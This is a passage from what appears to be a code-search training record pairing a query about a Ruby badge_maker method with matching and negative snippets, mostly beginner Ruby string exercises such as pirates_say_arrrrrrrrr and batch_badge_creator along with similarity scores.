"def pirates_say_arrrrrrrrr(string)\n out_string = \"\"\n prev_char = \"\"\n string.each_char do |char|\n if prev_char == \"r\" || prev_char == \"R\"\n out_string << char\n end\n prev_char = char\n end\n out_string\nend",
"def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n add_next = false\n string.size.times do |index|\n current_char = string[index, 1] # kindly enough, Josh Cheek put in a comment\n# explainging the above line, that the second param tells Ruby to get a string of\n# length 1, which is only necessary on version 1.8 and if you're on 1.9 and above\n# that you should just go with string[index]. This makes me wonder about the \n# value this tutorial offers, just saying.\n to_return << current_char if add_next\n add_next = (current_char == \"r\" || current_char == \"R\")\n end\n to_return\nend",
"def greeter(name)\n return \"hello \" + name + \" its nice to see you.\"\nend",
"def pirates_say_arrrrrrrrr(string)\n pirate = \"\"\n # Add a blank index at the end of string in case it ends in 'r'\n string << \" \"\n string.each_char.with_index { |chr, ind|\n pirate << string[ind+1] if [\"r\",\"R\"].include?(chr)\n }\n # strip to remove that extra space at the end\n pirate.strip\nend",
"def pirates_say_arrrrrrrrr(string)\n output = ''\n string.each_char.with_index do |letter, i|\n unless string[i + 1].nil?\n output += string[i + 1] if letter == 'r' || letter == 'R'\n end\n end\n output\nend",
"def friendly_parrot(name, age)\n age\n \"Hello! Your name is #{name} and you are #{age} years old.\"\nend",
"def rubyify(sentence)\r\n\r\nend",
"def dance_to_music \n \"Feel the rhythm\"\n end",
"def pirates_say_arrrrrrrrr(string) #defines a method with 1 parameter\n answer = \"\" #sets up a blank variable for the answer\n add_next_letter = false #sets up a variable with false\n string.length.times do |count| #finds length of string and creates a loop to work that many times\n the_character = string[count] #puts the count character into the the_character\n answer << the_character if add_next_letter #appends the answer if\n add_next_letter = (the_character == \"r\" || the_character == \"R\") #adds in next letter if the next character is R or R.\n end #ends the loop\n answer #returns the answer\nend",
"def polly_wanna(word)\n word*3\nend",
"def polly_wanna(word)\n word*3\nend",
"def pirates_say_arrrrrrrrr(string)\n # find index of r's but ignore when r is the last letter\n indices_of_r = (0..string.length - 2).select{|n| string[n] == \"r\" || string[n] == \"R\"}\n letters = \"\"\n # extract letters at indices of r + 1\n indices_of_r.each {|n|\n letters += string[n + 1]}\n letters\nend",
"def pirates_say_arrrrrrrrr(string) \n to_return = \"\" # return a string\n add_next = false \n string.size.times do |index| #iterate upwards adding to the index for each look\n current_char = string[index,1] # the present character is index 1 ont he string\n to_return << current_char if add_next #move to the next character\n add_next = (current_char == \"r\" || current_char == \"R\") # only add if the current character is an upper or lower case \n end\n to_return\nend",
"def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend",
"def polly_wanna (word)\n word*3\nend",
"def student_favourite_programming_language(language)\n return \"I love #{language}\"\n end",
"def bear_roars()\n return \"RROOOAAAAARRRRR\"\nend",
"def pirates_say_arrrrrrrrr(string)\n final_result = \"\"\n looking_for_r = false\n string.length.times do |x|\n if looking_for_r == true\n final_result << string[x]\n end\n looking_for_r = string[x].include?(\"r\") || string[x].include?(\"R\")\n end\n final_result\nend",
"def speak_to_grandma(phrase)\n if phrase == \"I LOVE YOU GRANDMA!\"\n return \"I LOVE YOU TOO PUMPKIN!\"\n elsif phrase==phrase.upcase\n return \"NO, NOT SINCE 1938!\"\n else\n return \"HUH?! SPEAK UP, SONNY!\"\n end\nend",
"def say_goodnight(name)\n result = \"Good night, \" + name.capitalize\n return result\nend",
"def say_hi(name)\n result = \"Hey Hi, #{name}\"\n return result\nend",
"def pirates_say_arrrrrrrrr(string)\n\t#string_array = string.split(\"\")\n\t#string_array.each { |string| \"r\" +1}\n\t#puts string_array \n\n\tstring_array = string.split(\"\")\n\tnew_array = []\n\tstring_array.each_index do |x| \n\t\tunless x - 1 < 0\n\t\tif string_array.fetch(x - 1) == 'r'\n\t\t\tnew_array << string_array.fetch(x) \n\t\telsif string_array.fetch(x - 1) == 'R' \n\t\t\tnew_array << string_array.fetch(x) \n\t\tend\n\tend\n\tend\n\tnew_array.join\nend",
"def speak\n \"#{name} says arf!\"\nend",
"def speak\n \"#{name} says arf!\"\nend",
"def speak\n \"#{name} says arf!\"\nend",
"def pirates_say_arrrrrrrrr(string)\n\n\tarr = string.split(//)\n\n output = []\n arr.each_cons(2) { |a,b| output << b if a == \"r\" || a == \"R\" }\n output.join\n\nend",
"def sentence(book, opinion)\n p \"I want you to know that #{book} is an amazing book series. #{opinion}\"\nend",
"def two_strings(man, woman)\n p \"When \" + man + \" Met \" + woman\nend",
"def generate_lyric word1 , word2\n # Store the lyric sentence as variable\n lyric = \"This place is a #{word1}. And these people aren't your #{word2}.\"\n\n # return the variable so it can be used later\n return lyric\nend",
"def greet(name)\n result = \"Good night #{name}\"\n return result\nend",
"def introduce_yourself\n \"Hi, my name is #{name} and I am the boss. YAY!\"\n end",
"def pirates_say_arrrrrrrrr(string)\n answer = []\n array = string.split(\"\")\n array.each_with_index do |v,i|\n unless array[i+1].nil?\n \tif v == \"R\" || v == \"r\"\n \t\tanswer << array[i+1]\n \tend\n end\n end\n\n answer.join\nend",
"def pirates_say_arrrrrrrrr(string)\n text = \"\"\n r_exist = false\n string.split('').each do |chr|\n if r_exist == true\n text << chr\n r_exist = false\n elsif chr.downcase == \"r\"\n r_exist = true\n end\n end\n text\nend",
"def pirates_say_arrrrrrrrr(string)\n last_letter_r = false\n array = []\n string.size.times { |x|\n string_letter = string[x]\n array << string_letter if last_letter_r\n last_letter_r = (string_letter == \"r\" || string_letter == \"R\") }\n array.join(\"\")\nend",
"def pirates_say_arrrrrrrrr(string)\n\nreturn_string = \"\" # !> assigned but unused variable - return_string\n\nr_character = false\n\nstring.chars.each do |char| \n\nreturn_string << char if r_character == true\n\nr_character = (char.upcase == \"R\")\n\nend\n\nreturn_string\n\nend",
"def speak_to_grandma(takes_string_arguement)\n\n if takes_string_arguement == takes_string_arguement.upcase\n return \"NO, NOT SINCE 1938!\"\n else\n return \"HUH?! SPEAK UP, SONNY!\"\n end\n \nend",
"def polly_wanna word2\n word2*3\nend",
"def say_hello(name)\n return \"Hi, #{name}. Have a good day.\"\nend",
"def strings(team1, team2)\n p \"I think the #{team1} are better than the #{team2}.\"\nend",
"def parrot(phrase =\"Squawk!\")\n puts phrase\n return phrase\nend",
"def speak_to_grandma(question)\n if question != question.upcase\n return \"HUH?! SPEAK UP, SONNY!\"\n elsif question == \"I LOVE YOU GRANDMA!\"\n return \"I LOVE YOU TOO PUMKIN!\"\n else\n return \"NO, NOT SINCE 1938!\"\n end\nend",
"def say_goodnight(name)\r\n \"Dobranoc #{ name.capitalize }\"\r\nend",
"def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n add_next = false\n string.size.times do |index|\n current_char = string[index,1] # the second param here tells it to get a str of length 1. This is only necessary on 1.8. If you are on 1.9, just go with string[index]\n to_return << current_char if add_next\n add_next = (current_char == \"r\" || current_char == \"R\")\n end\n to_return\nend",
"def my_name\n return \"Bagus Wachyu Nuralam\" # Pengembalian secara eksplisit pada return\nend",
"def hipsterfy(word)\n\nend",
"def pirates_say_arrrrrrrrr(string)\n characters = \"\"\n add_letter = false\n string.length.times do |index|\n current = string[index]\n characters << current if add_letter\n add_letter = (current == 'r' || current == 'R')\n end\n characters\nend",
"def hello_world (str)\n return 'hola mundo' if str == \"es\"\n return 'hallo welt' if str == \"de\"\n return 'hello world'\nend",
"def a_turn_of_phrase(sentence)\n # code goes here\nend",
"def pirates_say_arrrrrrrrr(string)\n\tnew_string = []\n\t\tstring.split(//).each_with_index do |l, i|\n\t\tif l == \"r\" || l == \"R\"\n\t\t\tnew_string << string[i + 1]\n\t\tend\n\tend\n\tnew_string.join\t\nend"
] |
[
"0.75821483",
"0.7221926",
"0.71657366",
"0.6999752",
"0.6917939",
"0.69009924",
"0.6895923",
"0.687935",
"0.68625355",
"0.68538857",
"0.6851091",
"0.6847885",
"0.6801473",
"0.6779048",
"0.6728998",
"0.67267555",
"0.6720555",
"0.66928905",
"0.6689606",
"0.66892254",
"0.66825116",
"0.66702515",
"0.66458356",
"0.6643131",
"0.66407555",
"0.6640236",
"0.66177326",
"0.661667",
"0.6604726",
"0.6598333",
"0.659776",
"0.65899897",
"0.65834266",
"0.6577867",
"0.65621495",
"0.65589935",
"0.65576506",
"0.65442425",
"0.65411586",
"0.6541109",
"0.65367335",
"0.65282464",
"0.6527476",
"0.6519004",
"0.6506644",
"0.650592",
"0.6503067",
"0.64928603",
"0.64755744",
"0.6472254",
"0.64639497",
"0.64609325",
"0.64603156",
"0.6457431",
"0.645247",
"0.64506775",
"0.64479744",
"0.6446919",
"0.644352",
"0.64375424",
"0.64364696",
"0.64364696",
"0.6422456",
"0.64133483",
"0.64117527",
"0.64084",
"0.6403205",
"0.63970846",
"0.6395295",
"0.63937795",
"0.63933206",
"0.6391183",
"0.6387065",
"0.6385558",
"0.6385558",
"0.6385558",
"0.63815975",
"0.6378614",
"0.63571477",
"0.6355829",
"0.6339319",
"0.633835",
"0.633294",
"0.63322353",
"0.633157",
"0.63303345",
"0.6322883",
"0.631697",
"0.6315176",
"0.6312951",
"0.63123673",
"0.63064986",
"0.630605",
"0.63012135",
"0.62972116",
"0.6295722",
"0.6294872",
"0.6292804",
"0.6280303",
"0.6278898"
] |
0.6488467
|
48
|
Write a badge_maker method that, when provided a person's name, will create and return this message.
|
def badge_maker(name)
"Hello, my name is #{name}."
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\n end",
"def badge_maker(name)\n\treturn \"Hello, my name is #{name}.\" \nend",
"def badge_maker( name )\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker (name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker (name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\" # or skip 'return', just using it here to be explicit\nend",
"def badge_maker( name )\n\"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n if name == \"Arel\"\n \"Hello, my name is #{name}.\"\n end\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\";\nend",
"def badge_maker(name)\n\t#\"Hello, my name is Arel.\"\n\t\"Hello, my name is #{name}.\"\nend",
"def badge_maker(name) #method that takes a name and returns \"Hello, my name is <name>\"\r\n \"Hello, my name is #{name}.\"\r\nend",
"def badge_maker(speaker)\n return \"Hello, my name is #{speaker}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\n # \"Hello, my name is\" + name + \".\"\nend",
"def badge_maker(name)\n # puts \"Hello, my name is #{name}.\"\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n badges = \"Hello, my name is #{name}.\"\n # puts \"Hello,my name is #{name}.\"\n #end\n end",
"def batch_badge_creator(names)\n names.map {|n| badge_maker(n)}\nend",
"def batch_badge_creator(names)\n names.map{|name| badge_maker(name)}\nend",
"def award_badge(participant_id, badge_name)\n badge_id = Badge.get_id_from_name(badge_name: badge_name)\n AwardedBadge.where(participant_id: participant_id, badge_id: badge_id, approval_status: 0).first_or_create\n end",
"def create_new_badge(badge)\n Badge.new(badge)\n end",
"def batch_badge_creator(names)\n badges = []\n names.each do |name|\n badges << badge_maker(name)\n end\n return badges\nend",
"def batch_badge_creator(names)\n names.each do |name|\n puts \"Hello, my name is #{name}.\"\n end\nend",
"def batch_badge_creator(names)\n names.collect { |name| \"Hello, my name is #{name}.\"};\nend",
"def batch_badge_creator(name)\n badge_list = []\n name.each do |n|\n badge_list.push(\"Hello, my name is #{n}.\")\n end\n badge_list\nend",
"def batch_badge_creator(names)\n names.collect { |array_value| badge_maker(array_value) }\nend",
"def batch_badge_creator( names )\n print_output = []\n names.each do | name |\n print_output << badge_maker( name ) \n end\n print_output # return the list ready for printing\nend",
"def batch_badge_creator(name)\n name.collect do |badge|\n \"Hello, my name is \" + badge + \".\"\n end\n\nend",
"def batch_badge_creator(array_of_names)\n badge_messages = []\n\n array_of_names.each do |name|\n badge_messages << badge_maker(name)\n end\n\n return badge_messages\nend",
"def batch_badge_creator(speakers)\n #empty array that needs strings pushed in\n badge_messages = []\n #iteration of speakers array to grab each name\n speakers.each do |guest|\n badge_messages.push(\"Hello, my name is #{guest}.\") # once a name is grabbed it creates a string using that name\n end\n badge_messages\nend",
"def batch_badge_creator(attendees)\n badge_messages = []\n attendees.each do |name|\n badge_messages << badge_maker(name)\n end\n badge_messages\nend",
"def batch_badge_creator(name_list)\n badge_batch = []\n name_list.each do |name|\n badge_batch.push(badge_maker(name))\n end\n return badge_batch\nend",
"def batch_badge_creator(array)\n badge_messages = []\n array.each {|name| badge_messages << badge_maker(name)}\n badge_messages\nend",
"def batch_badge_creator(guests)\n guests.map { |name| \"Hello, my name is #{name}.\"}\n\nend",
"def batch_badge_creator(attendees)\n attendees.collect do |name|\n badge_maker(name)\n# \"Hello, my name is #{name}.\" # don't think I need this\n end\nend",
"def build_message(meal, names)\n if meal == 0\n message = \"Breakfast: \\n\" + names\n return message\n elsif meal == 1\n message = \"Dinner: \\n\" + names\n return message\n else\n message = \"ERROR, please message Conor for manual override.\"\n return message\n end\n end",
"def batch_badge_creator(attendees)\n greet_attendees = []\n attendees.each do |name|\n greet_attendees.push(\"Hello, my name is #{name}.\")\n end\n return greet_attendees\nend",
"def batch_badge_creator(attendees)\n\tattendees.map{|name| badge_maker(name)}\nend",
"def batch_badge_creator(atendees)\r\n badges = []\r\n atendees.each do |first_name|\r\n badges << badge_maker(first_name)\r\n end\r\n badges\r\n end",
"def for_badge(badge); end",
"def batch_badge_creator(attendees)\nbadges = []\nattendees.each do |name|\n badges.push(\"Hello, my name is #{name}.\")\nend\nreturn badges\nend",
"def batch_badge_creator(attendees)\n new = []\n attendees.each do | name |\n new << badge_maker(name)\n end\nnew\nend",
"def make_badge( badge_text, deal )\n\n badge_text = badge_text.gsub('\"', \"\").gsub(\"'\", \"\").strip # take out single and double ticks\n badge_text = \"'\" << badge_text << \"'\" # enclose in single ticks\n badge_text = badge_text.gsub(\"$\", \"\\\\$\").gsub(\"/\", \"\") # take out forward and backslashes\n\n # img = MiniMagick::Image.open(\"public/images/yellow_starburst.jpg\")\n img = MiniMagick::Image.open(\"app/assets/images/yellow_starburst.jpg\")\n\n img.combine_options do |c|\n c.resize \"#{Victoria::Application::BADGE[0]}x#{Victoria::Application::BADGE[1]}\" # \"75x75\"\n c.gravity \"Center\"\n c.antialias\n c.font \"helvetica italic\"\n c.pointsize \"18\"\n c.draw \"text 0,0 #{badge_text}\" # 0,0 = x,y coords\n c.fill(\"#000000\")\n end\n # badge_path = \"badges/badge_#{deal.id}.jpg\"\n badge_path = \"badge_#{deal.id}.jpg\"\n deal.update_attribute(:badge_path, badge_path)\n # img.write(\"public/images/#{badge_path}\")\n img.write(\"app/assets/badges/#{badge_path}\")\n # returns \"app/assets/images/badges/badge_21.jpg JPEG 145x150 145x150+0+0 8-bit DirectClass 11.6KB 0.000u 0:00.010 \"\n end",
"def find_badge(name)\n badge_name = name.delete(\" \").downcase #delete whitespace\n return name unless badges.has_key?(badge_name)\n badges[badge_name] \n end",
"def batch_badge_creator (names_list)\nlist_badge_msgs=names_list.collect {|name| badge_maker(name)}\nend",
"def batch_badge_creator (attendees)\n attendees.collect do |name| badge_maker (name)\n end\nend",
"def batch_badge_creator(attendees)\n badge_messages = Array.new\n # creates a badge message for each attendee and shovels to the badge_messages array\n attendees.each do |attendee|\n badge_messages << badge_maker(attendee)\n end\n # return list of badge messages\n badges\nend",
"def batch_badge_creator(speaker_list)\n badge_messages = []\n speaker_list.each {|name| badge_messages << \"Hello, my name is #{name}.\"}\n badge_messages\nend",
"def batch_badge_creator(array_of_names)\n array_of_badges = []\n array_of_names.each {|name| array_of_badges << \"Hello, my name is #{name}.\"}\n return array_of_badges\nend",
"def batch_badge_creator(attendees)\r\n batch_attendees = []\r\n attendees.each do | name |\r\n batch_attendees << badge_maker(name) # add the name to each iteration of the badge_maker method\r\n end\r\n return batch_attendees\r\nend",
"def prayer_created(recipient, prayer)\n @recipient = recipient\n @prayer = prayer\n\n mail( :to => @recipient.full_email,\n :subject => \"New Prayer from #{@prayer.user.name}: #{truncate(@prayer.title, :length => 40)}\" )\n end",
"def batch_badge_creator(adendees)\n badges = []\n adendees.each do |atendee|\n badges.push(\"Hello, my name is #{atendee}.\")\n end\n return badges\nend",
"def batch_badge_creator(names_array)\n badges_array = []\n\n for name in names_array do\n badges_array.push(badge_maker(name))\n end\n\n badges_array\nend",
"def batch_badge_creator(array)\n #empty array\n list = []\n #iterate over the names in array\n array.each do |name|\n #add the badge messages to the list array\n list << badge_maker(name)\n end\n #return list\n list\n#end of batch_badge_creator method\nend",
"def create_notification(recipient, actor, action, notifiable)\n notification = Notification.create(recipient_id: recipient.id, actor_id: actor.id, action: action, notifiable: notifiable)\n end",
"def batch_badge_creator( attendees )\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(attendees)\n attendees.map {|i| \"Hello, my name is #{i}.\"}\nend",
"def batch_badge_creator(speakers)\n badge_messages = []\n for speaker in speakers do\n badge_messages << \"Hello, my name is #{speaker}.\" \n end\n return badge_messages\nend",
"def batch_badge_creator(attendees)\n attendees.map do |name|\n badge_maker(name)\n end\nend",
"def create_welcome_notification\n factory = ActivityFactory.new self\n factory.generate :create, recipient: self\n end",
"def greeting_a_person_new(name = 'friend')\n puts \"Hello, #{name}!\"\nend",
"def badge(*args)\n badge_label(:badge, *args)\n end",
"def recruit_follower(follower)\n if follower.age >= self.minimum_age\n BloodOath.new(follower, self)\n else\n \"You're too young to join!\"\n end\nend",
"def display_unique_badge(title, user) \n case title \n when \"Pioneer\"\n image_tag \"badges/OssemblePioneering.svg\", id: \"pioneer_badge\", class: \"image awarded_badge\", title: \"Pioneer: Was there when it all began and verified their account.\"\n when \"Ally\"\n image_tag \"badges/OssembleAllies.svg\", id: \"ally_badge\", class: \"image awarded_badge\", title: \"Ally: Has some allies and has made some friends!\"\n when \"Friend of the City\"\n image_tag \"badges/OssembleFriendoftheCity.svg\", id: \"friend_badge\", class: \"image awarded_badge\", title: \"Friend Of The City: Can contribute to another city.\"\n when \"Moderator\"\n image_tag \"badges/OssembleModerators.svg\", id: \"moderator_badge\", class: \"image awarded_badge\", title: \"Moderator: A Moderator of a city.\"\n else \n #fail safe\n end \n end",
"def send_emails_new_person\n NewPersonJob.perform_later(id, full_name)\n end",
"def batch_badge_creator(attendees)\n#use map to return the names with the string as a new array\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(array)\n array.collect do |name|\n badge_maker(name)\n end\nend",
"def batch_badge_creator(attendees)\n attendees.collect do |name| \n badge_maker(name)\n end\nend",
"def batch_badge_creator(array)\n badges = []\n array.each { |name| badges << badge_maker(name)}\n badges\nend",
"def batch_badge_creator(array)\n new_array = []\n array.each do |name|\n new_array << (\"Hello, my name is #{name}.\")\nend\n return new_array\nend",
"def batch_badge_creator(attendees)\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def badge; end",
"def generate_notification_for(device, message, friend, identifier)\n Grocer::Notification.new(\n device_token: device.token,\n alert: message,\n badge: 1,\n category: \"meetup\",\n custom: custom_hash_for(friend, identifier),\n expiry: 1.hour # optional; 0 is default, meaning the message is not stored\n )\n end",
"def call_friend(person)\n person.happiness += 3\n self.happiness += 3\n return \"Hi #{person.name}! It's #{self.name}. How are you?\"\n end",
"def batch_badge_creator(participants)\n\tnew_list = []\n\tparticipants.each do |individual|\n\t\tnew_list << badge_maker(individual)\n\tend\n\treturn new_list\nend",
"def greeting_a_person(name)\n puts \"Hello #{name}\"\nend",
"def mailing_new(name)\n return CakeMail::Mailing.create(self, name)\n end",
"def greeting(name)\n message = \"Hello there #{name}!\"\nend",
"def create\n respond_to do |format|\n if @badge.save\n format.html { redirect_to([:admin, @badge], notice: 'Badge was successfully created.') }\n format.xml { render xml: @badge, status: :created, location: @badge }\n website.add_log(user: current_user, action: \"Created badge: #{@badge.name}\")\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @badge.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.79946536",
"0.7830102",
"0.76600623",
"0.7556247",
"0.7550127",
"0.7550127",
"0.7550127",
"0.7550127",
"0.7550127",
"0.7550127",
"0.7550127",
"0.7550127",
"0.75444037",
"0.75444037",
"0.7386049",
"0.73029023",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.72884995",
"0.7281711",
"0.7281711",
"0.72730917",
"0.7244066",
"0.71129745",
"0.7025597",
"0.7016093",
"0.7008507",
"0.6849571",
"0.6489701",
"0.6228874",
"0.6164141",
"0.6155719",
"0.61473954",
"0.60370946",
"0.5989828",
"0.59405196",
"0.5934415",
"0.5927934",
"0.58992684",
"0.58982223",
"0.5889846",
"0.587878",
"0.58683604",
"0.58385557",
"0.57934135",
"0.5729839",
"0.56984663",
"0.5695349",
"0.56802297",
"0.56668013",
"0.5640764",
"0.5626778",
"0.56185603",
"0.56091624",
"0.55616045",
"0.55277926",
"0.5522288",
"0.55113846",
"0.5495885",
"0.5492172",
"0.5484121",
"0.5457289",
"0.5456492",
"0.54492694",
"0.54408044",
"0.5437674",
"0.54328483",
"0.5431533",
"0.5427298",
"0.5422069",
"0.5418174",
"0.54104334",
"0.5384551",
"0.53831166",
"0.53593814",
"0.53593785",
"0.53549826",
"0.53535885",
"0.5346868",
"0.53466713",
"0.53457874",
"0.52963996",
"0.52915955",
"0.5267383",
"0.52608776",
"0.52605426",
"0.524345",
"0.5227972",
"0.5222966",
"0.5221763",
"0.5220785"
] |
0.73395985
|
17
|
takes an array of names as an argument and returns an array of badge messages. how can I push each string to the array of badge_methods
|
def batch_badge_creator(speakers)
#empty array that needs strings pushed in
badge_messages = []
#iteration of speakers array to grab each name
speakers.each do |guest|
badge_messages.push("Hello, my name is #{guest}.") # once a name is grabbed it creates a string using that name
end
badge_messages
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def batch_badge_creator(array_of_names)\n badge_messages = []\n\n array_of_names.each do |name|\n badge_messages << badge_maker(name)\n end\n\n return badge_messages\nend",
"def batch_badge_creator(names)\n names.collect { |array_value| badge_maker(array_value) }\nend",
"def batch_badge_creator(array)\n #empty array\n list = []\n #iterate over the names in array\n array.each do |name|\n #add the badge messages to the list array\n list << badge_maker(name)\n end\n #return list\n list\n#end of batch_badge_creator method\nend",
"def batch_badge_creator (names_list)\nlist_badge_msgs=names_list.collect {|name| badge_maker(name)}\nend",
"def batch_badge_creator(names)\n names.map{|name| badge_maker(name)}\nend",
"def batch_badge_creator(array)\n badge_messages = []\n array.each {|name| badge_messages << badge_maker(name)}\n badge_messages\nend",
"def batch_badge_creator(array_of_names)\n array_of_badges = []\n array_of_names.each {|name| array_of_badges << \"Hello, my name is #{name}.\"}\n return array_of_badges\nend",
"def batch_badge_creator(names)\n badges = []\n names.each do |name|\n badges << badge_maker(name)\n end\n return badges\nend",
"def batch_badge_creator(names)\n names.collect { |name| \"Hello, my name is #{name}.\"};\nend",
"def batch_badge_creator(name)\n badge_list = []\n name.each do |n|\n badge_list.push(\"Hello, my name is #{n}.\")\n end\n badge_list\nend",
"def batch_badge_creator(names)\n names.map {|n| badge_maker(n)}\nend",
"def batch_badge_creator(attendees)\n#use map to return the names with the string as a new array\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(array)\n array.collect do |name|\n badge_maker(name)\n end\nend",
"def batch_badge_creator(names_array)\n badges_array = []\n\n for name in names_array do\n badges_array.push(badge_maker(name))\n end\n\n badges_array\nend",
"def batch_badge_creator(array)\n badges = []\n array.each { |name| badges << badge_maker(name)}\n badges\nend",
"def batch_badge_creator(speakers) # because it takes array as an argument, it will go through each of the array contents\n speakers.collect { |x| badge_maker(x) } #technically, it returns an array of new messages, not really separate messages\nend",
"def batch_badge_creator(array)\n new_array = array.map { |e| \"Hello, my name is #{e}.\" }\nend",
"def batch_badge_creator( names )\n print_output = []\n names.each do | name |\n print_output << badge_maker( name ) \n end\n print_output # return the list ready for printing\nend",
"def batch_badge_creator(attendees)\nbadges = []\nattendees.each do |name|\n badges.push(\"Hello, my name is #{name}.\")\nend\nreturn badges\nend",
"def batch_badge_creator(array)\n new_array = []\n array.each do |name|\n new_array << (\"Hello, my name is #{name}.\")\nend\n return new_array\nend",
"def batch_badge_creator(name)\n name.collect do |badge|\n \"Hello, my name is \" + badge + \".\"\n end\n\nend",
"def batch_badge_creator(name_list)\n badge_batch = []\n name_list.each do |name|\n badge_batch.push(badge_maker(name))\n end\n return badge_batch\nend",
"def batch_badge_creator(names)\n names.each do |name|\n puts \"Hello, my name is #{name}.\"\n end\nend",
"def batch_badge_creator(guests)\n guests.map { |name| \"Hello, my name is #{name}.\"}\n\nend",
"def batch_badge_creator(attendees)\n greet_attendees = []\n attendees.each do |name|\n greet_attendees.push(\"Hello, my name is #{name}.\")\n end\n return greet_attendees\nend",
"def batch_badge_creator(array) \n badge_messages = []\n array.each do |object| \n badge_message = badge_maker(object)\n badge_messages.push(badge_message)\n end\n return badge_messages\nend",
"def batch_badge_creator(speakers)\n badge_messages = []\n for speaker in speakers do\n badge_messages << \"Hello, my name is #{speaker}.\" \n end\n return badge_messages\nend",
"def batch_badge_creator(names)\nnames.each do |names_array|\n puts names_array\nend\nend",
"def batch_badge_creator(speaker_list)\n badge_messages = []\n speaker_list.each {|name| badge_messages << \"Hello, my name is #{name}.\"}\n badge_messages\nend",
"def batch_badge_creator(adendees)\n badges = []\n adendees.each do |atendee|\n badges.push(\"Hello, my name is #{atendee}.\")\n end\n return badges\nend",
"def batch_badge_creator(attendees)\n attendees.map {|i| \"Hello, my name is #{i}.\"}\nend",
"def batch_badge_creator(attendees)\n badge_messages = []\n attendees.each do |name|\n badge_messages << badge_maker(name)\n end\n badge_messages\nend",
"def batch_badge_creator(attendees)\n\tattendees.map{|name| badge_maker(name)}\nend",
"def batch_badge_creator(attendees)\n attendees.collect do |name|\n badge_maker(name)\n# \"Hello, my name is #{name}.\" # don't think I need this\n end\nend",
"def batch_badge_creator(attendees)\r\n batch_attendees = []\r\n attendees.each do | name |\r\n batch_attendees << badge_maker(name) # add the name to each iteration of the badge_maker method\r\n end\r\n return batch_attendees\r\nend",
"def batch_badge_creator(speakers)\n speakers.map do |speaker|\n \"Hello, my name is #{speaker}.\"\n end\nend",
"def batch_badge_creator( attendees )\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(attendees)\n attendees.map do |name|\n badge_maker(name)\n end\nend",
"def batch_badge_creator (attendees)\n attendees.collect do |name| badge_maker (name)\n end\nend",
"def batch_badge_creator(attendees)\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(attendees)\n badge_messages = Array.new\n # creates a badge message for each attendee and shovels to the badge_messages array\n attendees.each do |attendee|\n badge_messages << badge_maker(attendee)\n end\n # return list of badge messages\n badges\nend",
"def new_badges\n achievements.map(&:new_badges).flatten\n end",
"def batch_badge_creator(attendees)\n new = []\n attendees.each do | name |\n new << badge_maker(name)\n end\nnew\nend",
"def batch_badge_creator(atendees)\r\n badges = []\r\n atendees.each do |first_name|\r\n badges << badge_maker(first_name)\r\n end\r\n badges\r\n end",
"def batch_badge_creator(attendees)\n attendees.collect do |name| \n badge_maker(name)\n end\nend",
"def batch_badge_creator(speaker_array)\n speaker_badge_array = []\n speaker_array.each do |speaker| speaker_badge_array << badge_maker(speaker)\n end\n speaker_badge_array\nend",
"def batch_badge_creator(participants)\n\tnew_list = []\n\tparticipants.each do |individual|\n\t\tnew_list << badge_maker(individual)\n\tend\n\treturn new_list\nend",
"def parse_badges(badges)\n badges.map { |badge| create_new_badge(badge) } if badges\n end",
"def batch_badge_creator(badges)\n array=Array.new\n badges. each do |individuals|\n array=array.push(badge_maker(individuals))\n end\n return array;\n\nend",
